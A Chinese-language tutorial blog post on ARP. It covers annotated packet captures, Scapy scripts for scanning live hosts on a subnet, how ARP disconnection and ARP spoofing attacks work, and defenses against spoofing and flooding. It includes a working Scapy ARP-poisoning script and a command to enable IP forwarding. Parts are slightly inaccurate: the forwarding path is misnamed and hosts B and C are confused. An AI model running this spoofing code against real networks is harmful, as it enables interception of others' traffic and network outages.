ARP-基础-扫描-攻击-防范

协议简介

ARP(Address Resolution Protocol)地址解析协议,将已知IP地址转换为MAC地址,由RFC820定义
ARP协议在OSI模型中处于数据链路层,在TCP/IP模型中处于网络层
ARP协议与数据链路层关联网络层

在Windows操作系统中可以在cmd中使用“arp -a”查看本地arp缓存表(120秒过期)

步骤概述

  • 当主机A要与主机B通信时,会先检查自身路由表是否能够到达,然后在自己的本地ARP缓存表中检查主机B的MAC地址
  • 如果主机A在ARP缓存表中没有找到映射,会广播发送ARP请求。每台主机接收到ARP请求后,会检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,将会丢弃ARP请求
  • 主机B确定ARP请求中的IP地址与自己的IP地址相匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中,并将包含其MAC地址的ARP回复消息以单播的方式发送回主机A
  • 当主机A收到主机B发送的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。由于ARP缓存是有生存期的,当生存期结束,将再次重复上面的过程。

数据包详细

使用wireshark抓取ARP数据包

在Info可以看到,ARP的一般请求和回复方式

  • 请求方式 Who has 查询IP Tell 自身IP
  • 回复方式 查询IP is at 查询MAC

请求包特征

Ethernet II, Src: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 数据链路层
    Destination: Broadcast (ff:ff:ff:ff:ff:ff) 广播发送
    Source: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
    Type: ARP (0x0806) 协议类型
Address Resolution Protocol (request) 网络层 ARP请求数据包
    Hardware type: Ethernet (1) 硬件类型
    Protocol type: IPv4 (0x0800) 协议类型
    Hardware size: 6 硬件长度
    Protocol size: 4 协议长度
    Opcode: request (1) 操作码 1表示请求数据包
    Sender MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
    Sender IP address: 192.168.100.104 发送方IP地址
    Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) 接收方MAC地址 由于不知道接收方MAC地址,所以为00:00:00:00:00:00
    Target IP address: 192.168.100.105 接收方IP地址

响应包特征

Ethernet II, Src: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4), Dst: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 数据链路层
    Destination: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 单播发送
    Source: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4) 发送方MAC地址
    Type: ARP (0x0806) 协议类型
Address Resolution Protocol (reply) 网络层 ARP回复数据包
    Hardware type: Ethernet (1) 硬件类型
    Protocol type: IPv4 (0x0800) 协议类型
    Hardware size: 6 硬件长度
    Protocol size: 4 协议长度
    Opcode: reply (2) 操作码 2表示回复数据包
    Sender MAC address: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4) 发送方MAC地址
    Sender IP address: 192.168.100.105 发送方IP地址
    Target MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 接收方MAC地址
    Target IP address: 192.168.100.104 接收方IP地址

免费ARP特征

在网络中IP地址是可以改变的,而MAC地址是不会改变的。
当IP地址改变时,缓存中的映射就不再有效。
为了防止由于映射错误而导致的通信错误,免费ARP将被发送,强制所有收到它的设备使用新的映射

免费ARP会在一下状态进行发送:

  • 系统引导期间
  • 接口进行配置
  • IP进行变更

数据包特征:

Ethernet II, Src: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 数据链路层
    Destination: Broadcast (ff:ff:ff:ff:ff:ff)  广播发送
    Source: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
    Type: ARP (0x0806) 协议类型
Address Resolution Protocol (request/gratuitous ARP) 免费ARP请求包
    Hardware type: Ethernet (1) 硬件类型
    Protocol type: IPv4 (0x0800) 协议类型
    Hardware size: 6 硬件长度
    Protocol size: 4 协议长度
    Opcode: request (1) 操作码 1表示请求数据包
    [Is gratuitous: True] 免费ARP数据包
    Sender MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
    Sender IP address: 192.168.100.250 发送方IP地址
    Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) 请求方MAC地址
    Target IP address: 192.168.100.250 请求方MAC地址

可以看到发送方IP地址和请求方IP地址都为新地址,其他主机收到这种数据包会更新自身的ARP缓存表。
由于是源主机未经请求发出的数据包,而其他主机接收到后更新了ARP缓存表,所以被称为免费ARP

Python实现

这里实现的Python版本为3.6.4

Scapy

Scapy是一个强大的嗅探库,支持Python2和Python3。
Scapy有1.2和2.x两种版本,前者由于依赖unix系统的libpcap、libdnet等库已经弃用了。后者在Linux、BSD、Mac上使用 pip install scapy 就能安装Scapy。Windows系统较麻烦,要安装最新版的Npcap或Winpcap再使用 pip install scapy 安装。

安装完成后载入库不报错就证明安装成功

  • v1.2版本使用 from scapy import *
  • v2.x版本使用 from scapy.all import *

参考文档

代码实现

检测单个IP是否存活
1
2
3
4
5
6
7
8
9
from scapy.all import *

def scan(dip):
res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2)
if res:
print(res[1].psrc,res[1].hwsrc)

if __name__ == '__main__':
scan('192.168.100.102')

执行结果

Begin emission:
.Finished sending 1 packets.
.*
Received 3 packets, got 1 answers, remaining 0 packets
192.168.100.102 60:6c:66:1b:b7:aa
[Finished in 4.9s]

这里只是检测单个IP是否存活,使用循环将其改为网段检测。
而且除了扫描到的信息,还输出了scapy的发包信息,可以使用 verbose=False 关闭信息

循环检测网段存活
1
2
3
4
5
6
7
8
9
10
11
from scapy.all import *

def scan(dip):
res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2 ,verbose=False)
if res:
print(res[1].psrc,res[1].hwsrc)

if __name__ == '__main__':
for i in range(1,255):
ip = '192.168.100.'+str(i)
scan(ip)

执行结果

192.168.100.1 8c:f2:28:e6:2f:e2
192.168.100.102 60:6c:66:1b:b7:aa
[Finished in 511.2s]

虽然已经可以扫描网段中存活的主机,但是一个C段地址扫描了八分钟是很难以接受的。尝试使用多线程执行

多线程检测网段存活
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import threading
from scapy.all import *

def scan(dip):
res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2 ,verbose=False)
if res:
print(res[1].psrc,res[1].hwsrc)

if __name__ == '__main__':
for i in range(1,255):
ip = '192.168.100.'+str(i)
t = threading.Thread(target=scan,args=(ip,))
t.start()
```

**执行结果**

192.168.100.1 8c:f2:28:e6:2f:e2
192.168.100.103 ec:d0:9f:9b:b5:3d
192.168.100.102 60:6c:66:1b:b7:aa
[Finished in 20.6s]

虽然速度相比之前有很大的提升,但是还是有点不尽人意。而且在扫描变长网段需要更改代码。
在代码根本上,是每次都调用scan()函数,传入参数进行扫描。
可以使用srp()代替srp1()进行扫描
srp()和srp1()都是在二层发送和接受数据包,但srp1()只接受第一个回复,srp()可以接受所有回复

##### Scapy检测网段存活 #####

```python
from scapy.all import Ether,ARP,srp
IpScan = '192.168.100.1/24'

ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan), timeout=2, verbose=False)

for send, rcv in ans:
print(rcv.sprintf("%ARP.psrc% %Ether.src%"))

执行结果

192.168.100.1 8c:f2:28:e6:2f:e2
192.168.100.102 60:6c:66:1b:b7:aa
192.168.100.103 ec:d0:9f:9b:b5:3d
[Finished in 8.5s]

srp()和srp1()在使用上有些区别,需要注意

ARP攻击

ARP断网和ARP欺骗

原理

前面已经描述过ARP通信的步骤,这里再大致赘述一遍,假如主机A要访问主机B的Web服务,根据ARP本地缓存表的情况大致为两类:

第一类:主机A本地ARP缓存表存在主机B记录

  • 检查本地ARP缓存表,发现存在主机B记录
  • 向主机B发送TCP数据包

第二类:主机A本地ARP缓存表不存在主机B记录

  • 检查本地ARP缓存表,不存在主机B记录
  • 主机A广播ARP请求包,查询主机B的ARP信息
  • 主机B接收到主机A的ARP请求包,并回复ARP信息
  • 主机A收到回复,写入本地ARP缓存表,并向主机B发送TCP数据包

我们情景模拟一下

1
2
3
4
5
6
7
8
+--------+---------------+-------------------+
| 主机 | IP地址 | MAC地址 |
+--------+---------------+-------------------+
| 网关 | 192.168.1.1 | AA:AA:AA:AA:AA:AA |
| 主机A | 192.168.1.100 | BB:BB:BB:BB:BB:BB |
| 主机B | 192.168.1.200 | CC:CC:CC:CC:CC:CC |
| 攻击者 | 192.168.1.250 | DD:DD:DD:DD:DD:DD |
+--------+---------------+-------------------+

在主机A发送ARP请求之前,主机A的ARP缓存表为:

1
2
3
接口: 192.168.1.100 --- 0xb
Internet 地址 物理地址 类型
192.168.1.1 AA:AA:AA:AA:AA:AA 动态

当主机A发送并接受到ARP回复之后,主机A的ARP缓存表为:

1
2
3
4
接口: 192.168.1.100 --- 0xb
Internet 地址 物理地址 类型
192.168.1.1 AA:AA:AA:AA:AA:AA 动态
192.168.1.200 CC:CC:CC:CC:CC:CC 动态

此时主机A向主机B发送TCP通讯,数据包前段内容为:

1
2
3
4
Ether.Source      = BB:BB:BB:BB:BB:BB
Ether.Destination = CC:CC:CC:CC:CC:CC
IPv4.Source = 192.168.1.100
IPv4.Destination = 192.168.1.200

至此主机A到主机B的正常通信开始
可以发现ARP主机A后续的数据包是发送到由ARP获取到的MAC地址的主机的,但是ARP没有做安全处理,如果我们获取到主机A的ARP请求后,向主机A发送我们的MAC地址,那么主机A后续的数据包就会发到我们这里。

如果此时主机C对主机A持续不断的发送ARP消息包:

1
192.168.1.200 is at DD:DD:DD:DD:DD:DD

当主机A收到了主机C的恶意ARP消息包,本地ARP缓存表为:

1
2
3
4
5
接口: 192.168.1.100 --- 0xb
Internet 地址 物理地址 类型
192.168.1.1 AA:AA:AA:AA:AA:AA 动态
192.168.1.200 CC:CC:CC:CC:CC:CC 动态
192.168.1.200 DD:DD:DD:DD:DD:DD 动态

此时主机A向主机C的通讯就可能出现丢包

而当主机A的ARP本地缓存表120秒到期后,本地ARP缓存表为:

1
2
3
4
接口: 192.168.1.100 --- 0xb
Internet 地址 物理地址 类型
192.168.1.1 AA:AA:AA:AA:AA:AA 动态
192.168.1.200 DD:DD:DD:DD:DD:DD 动态

由于主机C持续不断的向主机A发送ARP消息包,而且主机A能够在本地ARP缓存表找到主机B的信息,所以不会发送ARP请求包,此时主机A向主机B的所有数据包都将发送到主机C

也就是说通过ARP能够做的攻击有两种:

第一种:ARP断网 对主机A发送网关的ARP消息包,将网关的IP映射为不存在的MAC地址,主机A发送的所有数据包都不会有响应,达到断网。
第二种:ARP欺骗 对主机A发送网关的ARP消息包,将网关的IP映射为主机C的MAC地址,同时开启路由功能,保证主机A与外网的通讯正常。主机A还是能够访问外网资源,但是中间多了一个主机C,主机C能够获取到主机A发送的所有数据包。

ARP欺骗将拓扑进行了改变:

1
2
3
4
5
6
7
主机A -> 网关 -> Internet  请求包
主机A <- 网关 <- Internet 回复包
|
ARP欺骗后

主机A -> 主机C -> 网关 -> Internet
主机A <- 主机C <- 网关 <- Internet

攻击实现

需要开启路由转发功能

Linux: echo 1 > /proc/sys/net/ipv4/forward

Python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import sys
from scapy.all import *

def get_parameter():
if len(sys.argv)!=3:
print('python setup.py -target_ip -fake_ip ')
sys.exit()
return (sys.argv[1],sys.argv[2])

def get_mac(ip):
res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip),timeout=2,verbose=False,iface='eth0')
if res:
return res[1].hwsrc

def send(target_ip,target_mac,fake_ip,fake_mac):
res = srp1(Ether(dst=target_mac,src=local_mac)/ARP(pdst=target_ip,hwdst=target_mac,psrc=fake_ip,hwsrc=local_mac,op=2),timeout=2,verbose=False,iface='eth0')
if res:
return res.show()


if __name__ == '__main__':
target_ip,fake_ip = get_parameter()
target_mac = get_mac(target_ip)
fake_mac = get_mac(fake_ip)
local_mac = get_if_hwaddr('eth0')

while True:
send(target_ip,target_mac,fake_ip,local_mac)
send(fake_ip,fake_mac,target_ip,local_mac)

使用说明

python setup.py 第一IP 第二IP

ARP泛洪

ARP泛洪相比ARP断网和ARP欺骗,更加偏向于对网关的攻击,这种攻击,通过伪造大量不同的ARP报文在同网段内进行广播,导致网关ARP表被占满,合法用户的ARP信息无法正常学习,导致合法用户无法访问外网。

防范手段

针对ARP欺骗的防范手段:

  • ARP表固化,网关在第一次学习到ARP之后,不允许更新此ARP或只能更新部分信息,或者单播发送ARP请求包对此ARP条目进行合法性确认,防止伪造的免费ARP报文修改其他主机ARP表。
  • 免费ARP数据包主动丢弃,直接丢弃免费ARP报文,防止伪造的免费ARP报文修改其他主机ARP表。
  • ARP表严格学习,网关只向特定主机学习ARP,不学习其他主机ARP。不允许攻击者修改已有ARP条目。
  • 发送免费ARP数据包,与主动丢弃不冲突,只发送网关自身的ARP数据包,定时更新用户的ARP条目。
  • 动态ARP监测,将接受到的ARP数据包中的源IP、源MAC、受到ARP报文的接口及VLAN信息和绑定表的信息进行比较,信息匹配则通过,不通过则丢弃,可以有效防范ARP欺骗。

针对ARP泛洪的防范手段:

  • ARP报文限速
  • ARP Miss消息限速
  • 免费ARP数据包主动丢弃
  • ARP表严格学习
  • ARP表严格限制